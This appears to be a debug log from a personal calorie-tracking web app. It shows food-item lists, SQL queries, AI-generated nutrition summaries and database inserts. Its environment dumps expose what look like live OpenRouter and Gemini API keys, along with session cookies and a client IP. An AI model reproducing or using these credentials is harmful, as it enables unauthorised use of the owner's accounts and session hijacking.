  { item_name: 'Red Bull', item_id: 125, category_name: 'Eating Out' },
  { item_name: 'Nimbuz', item_id: 132, category_name: 'Eating Out' },
  {
    item_name: 'Kadi kachori',
    item_id: 140,
    category_name: 'Eating Out'
  },
  { item_name: 'Nimu soda', item_id: 141, category_name: 'Eating Out' },
  {
    item_name: 'Chocho Lottie Pie',
    item_id: 156,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Manchurian',
    item_id: 157,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Cold coffee',
    item_id: 158,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Sprite Cold Drink',
    item_id: 170,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Snickers Chochlate',
    item_id: 171,
    category_name: 'Eating Out'
  },
  { item_name: 'Puff Corn', item_id: 172, category_name: 'Eating Out' },
  {
    item_name: 'Cadbusy Fuse Chochlate',
    item_id: 174,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Five Starts Chochlate',
    item_id: 175,
    category_name: 'Eating Out'
  },
  { item_name: 'Mithai', item_id: 190, category_name: 'Eating Out' },
  {
    item_name: 'Real Juice',
    item_id: 195,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Fanta Cold Drink',
    item_id: 198,
    category_name: 'Eating Out'
  },
  { item_name: 'Ice Cream', item_id: 199, category_name: 'Eating Out' },
  {
    item_name: 'Chicken Ready Made',
    item_id: 203,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Sunfest Yuppie Noodles',
    item_id: 204,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Kingfisher mint cold drink',
    item_id: 205,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Ghewar Mithai',
    item_id: 226,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Moti choor Ladoo',
    item_id: 227,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Chichen Tikka Roll',
    item_id: 233,
    category_name: 'Eating Out'
  },
  { item_name: 'Pav Bhaji', item_id: 234, category_name: 'Eating Out' },
  { item_name: 'Fish', item_id: 235, category_name: 'Eating Out' },
  { item_name: 'Dabeli', item_id: 236, category_name: 'Eating Out' },
  {
    item_name: 'Gulab Jamun',
    item_id: 248,
    category_name: 'Eating Out'
  },
  { item_name: 'soya chap', item_id: 255, category_name: 'Eating Out' },
  {
    item_name: 'Pineapple shake',
    item_id: 256,
    category_name: 'Eating Out'
  },
  { item_name: 'Tiffin', item_id: 259, category_name: 'Eating Out' },
  { item_name: 'Pizza', item_id: 260, category_name: 'Eating Out' },
  {
    item_name: 'Sitafal Thick Shake',
    item_id: 261,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Fruit Punch thick shake',
    item_id: 262,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Chole Kulche',
    item_id: 264,
    category_name: 'Eating Out'
  },
  ... 534 more items
]
2025-12-24T08:00:31.671Z server-connect:router Serving templateView /calorie-tracker
2025-12-24T08:00:31.671Z server-connect:app Executing action step identify
2025-12-24T08:00:31.671Z server-connect:app options: { provider: 'security' }
2025-12-24T08:00:31.671Z server-connect:output identity: 1
2025-12-24T08:00:31.671Z server-connect:app Executing action step restrict
2025-12-24T08:00:31.671Z server-connect:app options: {
  provider: 'security',
  permissions: [ 'Active' ],
  loginUrl: '/login',
  forbiddenUrl: '/login'
}
2025-12-24T08:00:31.672Z server-connect:output restrict: undefined
2025-12-24T08:00:31.672Z server-connect:router Render template calorie-tracker
2025-12-24T08:00:31.672Z server-connect:router Template data: {
  '$value': undefined,
  '$_ERROR': null,
  '$_ENV': {
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    CL_VIRTUAL_ENV: '/home/tocyxovu/nodevenv/ems/22',
    LSNODE_STARTUP_FILE: 'index.js',
    BKP_NODE_PATH: '',
    CL_APP_ROOT: 'ems',
    NODE_PATH: '/home/tocyxovu/nodevenv/ems/22/lib/node_modules:/opt/alt/alt-nodejs22/root/lib/node_modules:/opt/alt/alt-nodejs22/root/lib64/node_modules:',
    LSNODE_SOCKET: '/usr/local/lsws/extapp-sock/APVH_ems.sanjaychaurasia.xyz:443:_.sock',
    LSAPI_PPID_NO_CHECK: '1',
    LSAPI_PGRP_MAX_IDLE: '300',
    NODE_ENV: 'development',
    LSNODE_ROOT: '/home/tocyxovu/ems/',
    OPENROUTER_API_KEY: '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',
    BKP_PATH: '/usr/local/bin:/bin:/usr/bin',
    PWD: '/home/tocyxovu/nodevenv/ems/22/bin',
    HOME: '/home/tocyxovu',
    CL_NODEHOME: '/opt/alt/alt-nodejs22/root',
    GEMINI_API_KEY: 'AIzaSyA4zE36yqNwbeRyxb3UsKcEB5XrUybrhs8',
    SHLVL: '0',
    BKP_PS1: '',
    PATH: '/home/tocyxovu/nodevenv/ems/22/bin:/opt/alt/alt-nodejs22/root/usr/bin:/home/tocyxovu/nodevenv/ems/22/lib/bin/:/usr/local/bin:/bin:/usr/bin',
    PS1: '[ems (22)] ',
    DEBUG: 'server-connect:*'
  },
  '$_GET': { fragment: 'true' },
  '$_POST': {},
  '$_PARAM': {},
  '$_HEADER': {
    host: 'ems.sanjaychaurasia.xyz',
    'sec-ch-ua-platform': '"Android"',
    'user-agent': 'Mozilla/5.0 (Linux; Android 10; K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/143.0.0.0 Mobile Safari/537.36',
    accept: 'text/fragment+html',
    'sec-ch-ua': '"Google Chrome";v="143", "Chromium";v="143", "Not A(Brand";v="24"',
    'sec-ch-ua-mobile': '?1',
    'sec-fetch-site': 'same-origin',
    'sec-fetch-mode': 'cors',
    'sec-fetch-dest': 'empty',
    referer: 'https://ems.sanjaychaurasia.xyz/calorie-tracker',
    'accept-encoding': 'gzip,br',
    'accept-language': 'en-US,en;q=0.9,hi;q=0.8,fr;q=0.7',
    'if-none-match': 'W/"53b4-hJwt03sV3qAQlEbosi1oHRrMibw"',
    priority: 'u=1, i',
    cookie: 'security.auth=s%3AxHYmim%2FoTc2KPr20nQzwHw%3D%3D.qe02wUH0YRZYaXKav45rB4DBUaj2icdyYNp1OO7MyZ1T4ywBAMqIA%2F4bvpGPxj7JNVMmvCsEGtMJhokdl5ucyrVGPyqcRNCbbL8%2BvHE7P2jpJJOvBm6ubZZGZjcdwIH9vmmR7HTuaphBTcGnWsrux6ZdqofHn3id%2BEGaMmNxq0c%3D.02FtE%2Fw1H00POOUi2OPFEWTqT8t0D%2FpiwuiqEIcJyis; your_r_git.sid=s%3AQq2tibWaXFO9cZFfGA0LsqHfV2TP-kyq.AwMsduKU1UcD2nJ37hxe0X1YegdXBkKwRJRl%2Fh5dvOg',
    'x-forwarded-for': '49.43.180.83',
    connection: 'keep-alive',
    'x-forwarded-host': 'ems.sanjaychaurasia.xyz',
    'x-forwarded-proto': 'https'
  },
  '$_COOKIE': {},
  '$_SESSION': Session {
    cookie: {
      path: '/',
      _expires: 2025-12-25T00:44:59.523Z,
      originalMaxAge: 86400000,
      httpOnly: true
    },
    securityId: 1
  },
  '$_SERVER': {
    CONTENT_TYPE: undefined,
    HTTPS: true,
    PATH_INFO: '/calorie-tracker',
    QUERY_STRING: 'fragment=true',
    REMOTE_ADDR: '49.43.180.83',
    REQUEST_PROTOCOL: 'https',
    REQUEST_METHOD: 'GET',
    SERVER_NAME: 'ems.sanjaychaurasia.xyz',
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    URL: '/calorie-tracker',
    HOSTNAME: 's6519.dnspark.in',
    HTTP_HOST: 'ems.sanjaychaurasia.xyz',
    'HTTP_SEC_CH-UA-PLATFORM': '"Android"',
    HTTP_USER_AGENT: 'Mozilla/5.0 (Linux; Android 10; K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/143.0.0.0 Mobile Safari/537.36',
    HTTP_ACCEPT: 'text/fragment+html',
    'HTTP_SEC_CH-UA': '"Google Chrome";v="143", "Chromium";v="143", "Not A(Brand";v="24"',
    'HTTP_SEC_CH-UA-MOBILE': '?1',
    'HTTP_SEC_FETCH-SITE': 'same-origin',
    'HTTP_SEC_FETCH-MODE': 'cors',
    'HTTP_SEC_FETCH-DEST': 'empty',
    HTTP_REFERER: 'https://ems.sanjaychaurasia.xyz/calorie-tracker',
    HTTP_ACCEPT_ENCODING: 'gzip,br',
    HTTP_ACCEPT_LANGUAGE: 'en-US,en;q=0.9,hi;q=0.8,fr;q=0.7',
    'HTTP_IF_NONE-MATCH': 'W/"53b4-hJwt03sV3qAQlEbosi1oHRrMibw"',
    HTTP_PRIORITY: 'u=1, i',
    HTTP_COOKIE: 'security.auth=s%3AxHYmim%2FoTc2KPr20nQzwHw%3D%3D.qe02wUH0YRZYaXKav45rB4DBUaj2icdyYNp1OO7MyZ1T4ywBAMqIA%2F4bvpGPxj7JNVMmvCsEGtMJhokdl5ucyrVGPyqcRNCbbL8%2BvHE7P2jpJJOvBm6ubZZGZjcdwIH9vmmR7HTuaphBTcGnWsrux6ZdqofHn3id%2BEGaMmNxq0c%3D.02FtE%2Fw1H00POOUi2OPFEWTqT8t0D%2FpiwuiqEIcJyis; your_r_git.sid=s%3AQq2tibWaXFO9cZFfGA0LsqHfV2TP-kyq.AwMsduKU1UcD2nJ37hxe0X1YegdXBkKwRJRl%2Fh5dvOg',
    'HTTP_X_FORWARDED-FOR': '49.43.180.83',
    HTTP_CONNECTION: 'keep-alive',
    'HTTP_X_FORWARDED-HOST': 'ems.sanjaychaurasia.xyz',
    'HTTP_X_FORWARDED-PROTO': 'https'
  },
  identity: 1
}
2025-12-24T08:00:31.909Z server-connect:router Serving serverConnect /api/health/todays-calories
2025-12-24T08:00:31.910Z server-connect:router Serving serverConnect /api/gemini/get-health-summary
2025-12-24T08:00:31.910Z server-connect:app Executing action step identify
2025-12-24T08:00:31.910Z server-connect:app options: { provider: 'security' }
2025-12-24T08:00:31.910Z server-connect:output identity: 1
2025-12-24T08:00:31.910Z server-connect:app Executing action step restrict
2025-12-24T08:00:31.910Z server-connect:app options: { provider: 'security' }
2025-12-24T08:00:31.910Z server-connect:output restrict: undefined
2025-12-24T08:00:31.910Z server-connect:app Executing action step single
2025-12-24T08:00:31.910Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [ [Object], [Object] ],
    params: [ [Object] ],
    table: { name: 'health_summary' },
    joins: [],
    primary: 'id',
    wheres: {
      condition: 'AND',
      rules: [Array],
      conditional: null,
      valid: true
    },
    query: 'select `summary`, `date` from `health_summary` where `health_summary`.`date` = ?'
  }
}
2025-12-24T08:00:31.911Z server-connect:app Executing action step identify
2025-12-24T08:00:31.911Z server-connect:app options: { provider: 'security' }
2025-12-24T08:00:31.911Z server-connect:output identity: 1
2025-12-24T08:00:31.911Z server-connect:app Executing action step restrict
2025-12-24T08:00:31.911Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2025-12-24T08:00:31.912Z server-connect:output restrict: undefined
2025-12-24T08:00:31.912Z server-connect:app Executing action step single
2025-12-24T08:00:31.912Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [ [Object], [Object], [Object], [Object], [Object], [Object] ],
    params: [ [Object], [Object] ],
    table: { name: 'calories_requirement' },
    joins: [],
    primary: 'id',
    wheres: {
      condition: 'AND',
      rules: [Array],
      conditional: null,
      valid: true
    },
    query: 'select `id`, `start_date`, `end_date`, `maintenance_calories`, `weight_kg`, `target_calories` from `calories_requirement` where `calories_requirement`.`start_date` <= ? and `calories_requirement`.`end_date` >= ?'
  }
}
2025-12-24T08:00:31.913Z server-connect:output summary: {
  summary: {
    rating: 6,
    summary: "The day's nutrition shows a good start with protein intake from whey, but the overall meal composition appears to be lacking in variety and substantial protein sources beyond the supplement. Meal timing seems reasonable with a pre-workout and post-workout protein, but the main meal could be more balanced. Recovery support is present with the whey protein.",
    bad_points: [
      'Limited variety in food consumed.',
      'Main meal (Poha) may not be sufficiently protein-dense for muscle development goals.',
      'Overall protein intake might be suboptimal without further meals.'
    ],
    good_points: [
      'Inclusion of whey protein post-workout for muscle recovery.',
      'Pre-workout supplement used to support training intensity.',
      'Reasonable meal timing around the workout.'
    ],
    suggestions: [
      'Incorporate more diverse protein sources throughout the day, such as lean meats, fish, legumes, or paneer.',
      'Ensure the main meal includes a good portion of protein and complex carbohydrates.',
      'Consider adding fiber-rich vegetables to meals for better satiety and nutrient intake.',
      'Stay well-hydrated throughout the day.'
    ],
    predicted_weight: 69.5,
    rating_judgement: 'Fairly good',
    predicted_weight_trend: 'Slight downward trend'
  },
  date: '2025-12-23T18:30:00.000Z'
}
2025-12-24T08:00:31.915Z server-connect:output requirements: {
  id: 3,
  start_date: '2025-11-09T18:30:00.000Z',
  end_date: '2025-12-29T18:30:00.000Z',
  maintenance_calories: 2400,
  weight_kg: '71.00',
  target_calories: 1800
}
2025-12-24T08:00:31.915Z server-connect:app Executing action step select
2025-12-24T08:00:31.915Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [],
    params: [ [Object] ],
    table: { name: 'calories_tracking' },
    primary: 'id',
    joins: [],
    wheres: {
      condition: 'AND',
      rules: [Array],
      conditional: null,
      valid: true
    },
    query: 'select * from `calories_tracking` where `calories_tracking`.`intake_date` = ? order by `id` ASC',
    orders: [ [Object] ]
  }
}
2025-12-24T08:00:31.918Z server-connect:output item_list: [
  {
    id: 500,
    intake_date: '2025-12-23T18:30:00.000Z',
    item_name: 'Jamfal (Guava)',
    calories: 30,
    protein_gm: 1,
    carbs_gm: 7,
    fat_gm: 0,
    quantity: '2 slices',
    replacements: 'Cucumber slices,Watermelon slices,Bell pepper strips',
    created_at: '2025-12-23T19:28:36.000Z',
    skip_level: 1,
    skip_reason: "Jamfal is a good source of Vitamin C and fiber, beneficial for overall health and recovery. It's a low-calorie fruit."
  },
  {
    id: 501,
    intake_date: '2025-12-23T18:30:00.000Z',
    item_name: 'Pre-workout supplement',
    calories: 10,
    protein_gm: 0,
    carbs_gm: 2,
    fat_gm: 0,
    quantity: '1 scoop',
    replacements: 'Black coffee (no sugar/cream),Green tea,Small piece of fruit (e.g., half a banana)',
    created_at: '2025-12-23T19:28:36.000Z',
    skip_level: 2,
    skip_reason: "While pre-workouts can provide a boost for intense sessions, they often contain artificial sweeteners, colors, and stimulants. For muscle development, focus on whole foods and adequate sleep. If you feel you need it, ensure it's a high-quality product with minimal additives. Consider if the energy boost is truly necessary for every session or if natural sources can suffice."
  },
  {
    id: 502,
    intake_date: '2025-12-23T18:30:00.000Z',
    item_name: 'Whey Protein',
    calories: 120,
    protein_gm: 27,
    carbs_gm: 3,
    fat_gm: 1,
    quantity: '1 scoop (27g protein)',
    replacements: 'Casein protein (slower digestion, good for muscle building),Egg whites (pure protein, very low calorie),Greek yogurt (high protein, lower calorie than some whey shakes)',
    created_at: '2025-12-23T22:18:53.000Z',
    skip_level: 1,
    skip_reason: 'Excellent for muscle development, high protein content, and relatively low in other macros. Ideal for your goals.'
  },
  {
    id: 503,
    intake_date: '2025-12-23T18:30:00.000Z',
    item_name: 'Poha (mixed with tomato, onion, matar)',
    calories: 200,
    protein_gm: 5,
    carbs_gm: 40,
    fat_gm: 3,
    quantity: '1 serving (approx. 150g cooked)',
    replacements: 'Quinoa Poha (higher protein, more fiber),Oats Poha (more fiber, can be lower calorie depending on preparation),Brown Rice Poha (more fiber than white poha)',
    created_at: '2025-12-23T22:18:53.000Z',
    skip_level: 1,
    skip_reason: 'Good source of complex carbohydrates for energy, and the vegetables add fiber and micronutrients. A decent breakfast option for your activity level.'
  },
  {
    id: 504,
    intake_date: '2025-12-23T18:30:00.000Z',
    item_name: 'Green Tea',
    calories: 2,
    protein_gm: 0,
    carbs_gm: 0,
    fat_gm: 0,
    quantity: '1 cup (approx 240ml)',
    replacements: 'Water,Herbal tea (e.g., peppermint, chamomile)',
    created_at: '2025-12-24T01:28:24.000Z',
    skip_level: 1,
    skip_reason: 'Excellent for health, contains antioxidants, negligible calories.'
  }
]
2025-12-24T08:00:31.919Z server-connect:app Executing action step setvalue
2025-12-24T08:00:31.919Z server-connect:app options: { key: 'var_total', value: "{{item_list.sum('calories')}}" }
2025-12-24T08:00:31.919Z server-connect:output var_total: 362
2025-12-24T08:00:31.919Z server-connect:app Executing action step setvalue
2025-12-24T08:00:31.919Z server-connect:app options: {
  key: 'var_consumed',
  value: '{{((var_total / requirements.maintenance_calories)*100).round(0)}}'
}
2025-12-24T08:00:31.919Z server-connect:output var_consumed: 15
2025-12-24T08:00:31.920Z server-connect:app Executing action step setvalue
2025-12-24T08:00:31.920Z server-connect:app options: {
  key: 'var_deficit',
  value: '{{requirements.maintenance_calories-var_total}}'
}
2025-12-24T08:00:31.920Z server-connect:output var_deficit: 2038
2025-12-24T08:00:31.920Z server-connect:app Executing action step custom
2025-12-24T08:00:31.920Z server-connect:app options: {
  connection: 'db',
  sql: {
    query: 'SELECT\n' +
      '  ct.intake_date,\n' +
      '  SUM(ct.calories) AS total_consumed,\n' +
      '  COALESCE(cr.maintenance_calories, 0) - SUM(ct.calories) AS surplus_or_deficit,\n' +
      '  CASE\n' +
      '    WHEN SUM(ct.calories) > COALESCE(cr.maintenance_calories, 0) THEN 0\n' +
      '    WHEN SUM(ct.calories) >= COALESCE(cr.target_calories, 0) THEN 1\n' +
      '    ELSE 2\n' +
      '  END AS status_flag\n' +
      'FROM calories_tracking ct\n' +
      'LEFT JOIN (\n' +
      '  -- pick the requirement row that covers TODAY (CURDATE())\n' +
      '  SELECT *\n' +
      '  FROM calories_requirement\n' +
      '  WHERE DATE(start_date) <= CURDATE()\n' +
      '    AND DATE(end_date)   >= CURDATE()\n' +
      '  ORDER BY start_date DESC\n' +
      '  LIMIT 1\n' +
      ') cr ON 1 = 1\n' +
      "WHERE ct.intake_date >= DATE_FORMAT(CURDATE(), '%Y-%m-01')\n" +
      "  AND ct.intake_date <  DATE_ADD(DATE_FORMAT(CURDATE(), '%Y-%m-01'), INTERVAL 1 MONTH)\n" +
      'GROUP BY ct.intake_date\n' +
      'ORDER BY ct.intake_date;',
    params: []
  }
}
2025-12-24T08:00:31.922Z server-connect:output monthly_chart: [
  {
    intake_date: 2025-11-30T18:30:00.000Z,
    total_consumed: '1890',
    surplus_or_deficit: '510',
    status_flag: 1
  },
  {
    intake_date: 2025-12-01T18:30:00.000Z,
    total_consumed: '1094',
    surplus_or_deficit: '1306',
    status_flag: 2
  },
  {
    intake_date: 2025-12-02T18:30:00.000Z,
    total_consumed: '1923',
    surplus_or_deficit: '477',
    status_flag: 1
  },
  {
    intake_date: 2025-12-03T18:30:00.000Z,
    total_consumed: '1851',
    surplus_or_deficit: '549',
    status_flag: 1
  },
  {
    intake_date: 2025-12-04T18:30:00.000Z,
    total_consumed: '2435',
    surplus_or_deficit: '-35',
    status_flag: 0
  },
  {
    intake_date: 2025-12-05T18:30:00.000Z,
    total_consumed: '1055',
    surplus_or_deficit: '1345',
    status_flag: 2
  },
  {
    intake_date: 2025-12-07T18:30:00.000Z,
    total_consumed: '2303',
    surplus_or_deficit: '97',
    status_flag: 1
  },
  {
    intake_date: 2025-12-08T18:30:00.000Z,
    total_consumed: '1571',
    surplus_or_deficit: '829',
    status_flag: 2
  },
  {
    intake_date: 2025-12-09T18:30:00.000Z,
    total_consumed: '1297',
    surplus_or_deficit: '1103',
    status_flag: 2
  },
  {
    intake_date: 2025-12-12T18:30:00.000Z,
    total_consumed: '1882',
    surplus_or_deficit: '518',
    status_flag: 1
  },
  {
    intake_date: 2025-12-13T18:30:00.000Z,
    total_consumed: '404',
    surplus_or_deficit: '1996',
    status_flag: 2
  },
  {
    intake_date: 2025-12-14T18:30:00.000Z,
    total_consumed: '2521',
    surplus_or_deficit: '-121',
    status_flag: 0
  },
  {
    intake_date: 2025-12-15T18:30:00.000Z,
    total_consumed: '2030',
    surplus_or_deficit: '370',
    status_flag: 1
  },
  {
    intake_date: 2025-12-16T18:30:00.000Z,
    total_consumed: '2088',
    surplus_or_deficit: '312',
    status_flag: 1
  },
  {
    intake_date: 2025-12-17T18:30:00.000Z,
    total_consumed: '1668',
    surplus_or_deficit: '732',
    status_flag: 2
  },
  {
    intake_date: 2025-12-18T18:30:00.000Z,
    total_consumed: '2115',
    surplus_or_deficit: '285',
    status_flag: 1
  },
  {
    intake_date: 2025-12-19T18:30:00.000Z,
    total_consumed: '1575',
    surplus_or_deficit: '825',
    status_flag: 2
  },
  {
    intake_date: 2025-12-20T18:30:00.000Z,
    total_consumed: '972',
    surplus_or_deficit: '1428',
    status_flag: 2
  },
  {
    intake_date: 2025-12-21T18:30:00.000Z,
    total_consumed: '1325',
    surplus_or_deficit: '1075',
    status_flag: 2
  },
  {
    intake_date: 2025-12-22T18:30:00.000Z,
    total_consumed: '1052',
    surplus_or_deficit: '1348',
    status_flag: 2
  },
  {
    intake_date: 2025-12-23T18:30:00.000Z,
    total_consumed: '362',
    surplus_or_deficit: '2038',
    status_flag: 2
  }
]
2025-12-24T08:00:31.922Z server-connect:app Executing action step single
2025-12-24T08:00:31.922Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [ [Object], [Object] ],
    params: [],
    table: { name: 'health_weight_trackor' },
    joins: [],
    orders: [ [Object] ],
    query: 'select `weight`, `date` from `health_weight_trackor` order by `created_on` DESC'
  }
}
2025-12-24T08:00:31.923Z server-connect:output current_weight: { weight: '69.70', date: '2025-12-23T18:30:00.000Z' }
2025-12-24T08:00:32.815Z server-connect:app Executing action step identify
2025-12-24T08:00:32.815Z server-connect:app options: { provider: 'security' }
2025-12-24T08:00:32.815Z server-connect:output identity: 1
2025-12-24T08:00:54.491Z server-connect:router Serving serverConnect /api/gemini/calculate-calorie
2025-12-24T08:00:54.491Z server-connect:app Executing action step identify
2025-12-24T08:00:54.492Z server-connect:app options: { provider: 'security' }
2025-12-24T08:00:54.492Z server-connect:output identity: 1
2025-12-24T08:00:54.492Z server-connect:app Executing action step restrict
2025-12-24T08:00:54.492Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2025-12-24T08:00:54.492Z server-connect:output restrict: undefined
2025-12-24T08:00:55.156Z server-connect:app Executing action step processWithGemini
2025-12-24T08:00:55.156Z server-connect:app options: { request_type: 'calories', raw_text: '{{$_POST.calorie_query}}' }
2025-12-24T08:00:57.884Z server-connect:output calculate_calorie: {
  items: [
    {
      food_name: 'Patta Gobi Sabji',
      quantity: '1 serving (approx 150g)',
      calories_consumed: 90,
      total_calories: 90,
      protein: 3,
      carbs: 12,
      fat: 4,
      lower_calorie_alternatives: [Array],
      skip_level: 1,
      skip_reason: null
    },
    {
      food_name: 'Roti',
      quantity: '4 rotis (approx 120g total)',
      calories_consumed: 360,
      total_calories: 360,
      protein: 12,
      carbs: 76,
      fat: 2,
      lower_calorie_alternatives: [Array],
      skip_level: 2,
      skip_reason: "While a good source of carbs for energy, 4 rotis might be a bit high for a single meal if you're aiming for muscle development and managing overall calorie intake, especially if you have other carb sources. Consider reducing to 2-3 rotis and adding more protein/vegetables."
    }
  ],
  total_macros: {
    protein: { value: 15, unit: 'g' },
    carbs: { value: 88, unit: 'g' },
    fat: { value: 6, unit: 'g' },
    calories: { value: 450, unit: 'kcal' }
  }
}
2025-12-24T08:01:04.734Z server-connect:router Serving serverConnect /api/health/manage-calories
2025-12-24T08:01:04.735Z server-connect:app Executing action step identify
2025-12-24T08:01:04.735Z server-connect:app options: { provider: 'security' }
2025-12-24T08:01:04.735Z server-connect:output identity: 1
2025-12-24T08:01:04.735Z server-connect:app Executing action step restrict
2025-12-24T08:01:04.735Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2025-12-24T08:01:04.736Z server-connect:output restrict: undefined
2025-12-24T08:01:04.736Z server-connect:app Executing action step condition
2025-12-24T08:01:04.736Z server-connect:app options: {
  if: '{{$_POST.items.length}}',
  then: {
    steps: {
      name: 'repeat',
      module: 'core',
      action: 'repeat',
      options: [Object],
      output: true,
      meta: [Array],
      outputType: 'array'
    }
  }
}
2025-12-24T08:01:04.736Z server-connect:app Executing action step repeat
2025-12-24T08:01:04.736Z server-connect:app options: {
  repeat: '{{$_POST.items}}',
  outputFields: [],
  exec: {
    steps: {
      name: 'calories',
      module: 'dbupdater',
      action: 'insert',
      options: [Object],
      meta: [Array]
    }
  }
}
2025-12-24T08:01:04.737Z server-connect:app Executing action step insert
2025-12-24T08:01:04.737Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'insert',
    values: [
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object]
    ],
    table: 'calories_tracking',
    returning: 'id',
    query: 'insert into `calories_tracking` (`calories`, `carbs_gm`, `created_at`, `fat_gm`, `intake_date`, `item_name`, `protein_gm`, `quantity`, `replacements`, `skip_level`, `skip_reason`) values (?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?)',
    params: [
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object]
    ]
  }
}
2025-12-24T08:01:04.738Z server-connect:output calories: { affected: 1, identity: 505 }
2025-12-24T08:01:04.738Z server-connect:app Executing action step insert
2025-12-24T08:01:04.738Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'insert',
    values: [
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object]
    ],
    table: 'calories_tracking',
    returning: 'id',
    query: 'insert into `calories_tracking` (`calories`, `carbs_gm`, `created_at`, `fat_gm`, `intake_date`, `item_name`, `protein_gm`, `quantity`, `replacements`, `skip_level`, `skip_reason`) values (?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?)',
    params: [
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object]
    ]
  }
}
2025-12-24T08:01:04.739Z server-connect:output calories: { affected: 1, identity: 506 }
2025-12-24T08:01:04.739Z server-connect:output repeat: [ {}, {} ]
2025-12-24T08:01:04.739Z server-connect:output condition: undefined
2025-12-24T08:01:04.985Z server-connect:router Serving templateView /calorie-tracker
2025-12-24T08:01:04.985Z server-connect:app Executing action step identify
2025-12-24T08:01:04.985Z server-connect:app options: { provider: 'security' }
2025-12-24T08:01:04.985Z server-connect:output identity: 1
2025-12-24T08:01:04.985Z server-connect:app Executing action step restrict
2025-12-24T08:01:04.985Z server-connect:app options: {
  provider: 'security',
  permissions: [ 'Active' ],
  loginUrl: '/login',
  forbiddenUrl: '/login'
}
2025-12-24T08:01:04.986Z server-connect:output restrict: undefined
2025-12-24T08:01:04.986Z server-connect:router Render template layouts/main
2025-12-24T08:01:04.986Z server-connect:router Template data: {
  '$value': undefined,
  '$_ERROR': null,
  '$_ENV': {
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    CL_VIRTUAL_ENV: '/home/tocyxovu/nodevenv/ems/22',
    LSNODE_STARTUP_FILE: 'index.js',
    BKP_NODE_PATH: '',
    CL_APP_ROOT: 'ems',
    NODE_PATH: '/home/tocyxovu/nodevenv/ems/22/lib/node_modules:/opt/alt/alt-nodejs22/root/lib/node_modules:/opt/alt/alt-nodejs22/root/lib64/node_modules:',
    LSNODE_SOCKET: '/usr/local/lsws/extapp-sock/APVH_ems.sanjaychaurasia.xyz:443:_.sock',
    LSAPI_PPID_NO_CHECK: '1',
    LSAPI_PGRP_MAX_IDLE: '300',
    NODE_ENV: 'development',
    LSNODE_ROOT: '/home/tocyxovu/ems/',
    OPENROUTER_API_KEY: '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',
    BKP_PATH: '/usr/local/bin:/bin:/usr/bin',
    PWD: '/home/tocyxovu/nodevenv/ems/22/bin',
    HOME: '/home/tocyxovu',
    CL_NODEHOME: '/opt/alt/alt-nodejs22/root',
    GEMINI_API_KEY: 'AIzaSyA4zE36yqNwbeRyxb3UsKcEB5XrUybrhs8',
    SHLVL: '0',
    BKP_PS1: '',
    PATH: '/home/tocyxovu/nodevenv/ems/22/bin:/opt/alt/alt-nodejs22/root/usr/bin:/home/tocyxovu/nodevenv/ems/22/lib/bin/:/usr/local/bin:/bin:/usr/bin',
    PS1: '[ems (22)] ',
    DEBUG: 'server-connect:*'
  },
  '$_GET': {},
  '$_POST': {},
  '$_PARAM': {},
  '$_HEADER': {
    host: 'ems.sanjaychaurasia.xyz',
    'cache-control': 'max-age=0',
    'sec-ch-ua': '"Google Chrome";v="143", "Chromium";v="143", "Not A(Brand";v="24"',
    'sec-ch-ua-mobile': '?1',
    'sec-ch-ua-platform': '"Android"',
    'upgrade-insecure-requests': '1',
    'user-agent': 'Mozilla/5.0 (Linux; Android 10; K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/143.0.0.0 Mobile Safari/537.36',
    accept: 'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7',
    'service-worker-navigation-preload': 'true',
    'sec-fetch-site': 'same-origin',
    'sec-fetch-mode': 'navigate',
    'sec-fetch-user': '?1',
    'sec-fetch-dest': 'document',
    referer: 'https://ems.sanjaychaurasia.xyz/calorie-tracker',
    'accept-encoding': 'gzip,br',
    'accept-language': 'en-US,en;q=0.9,hi;q=0.8,fr;q=0.7',
    'if-none-match': 'W/"1505c-6XZ48wk/QlRgtGeezmrNALUh0rI"',
    priority: 'u=0, i',
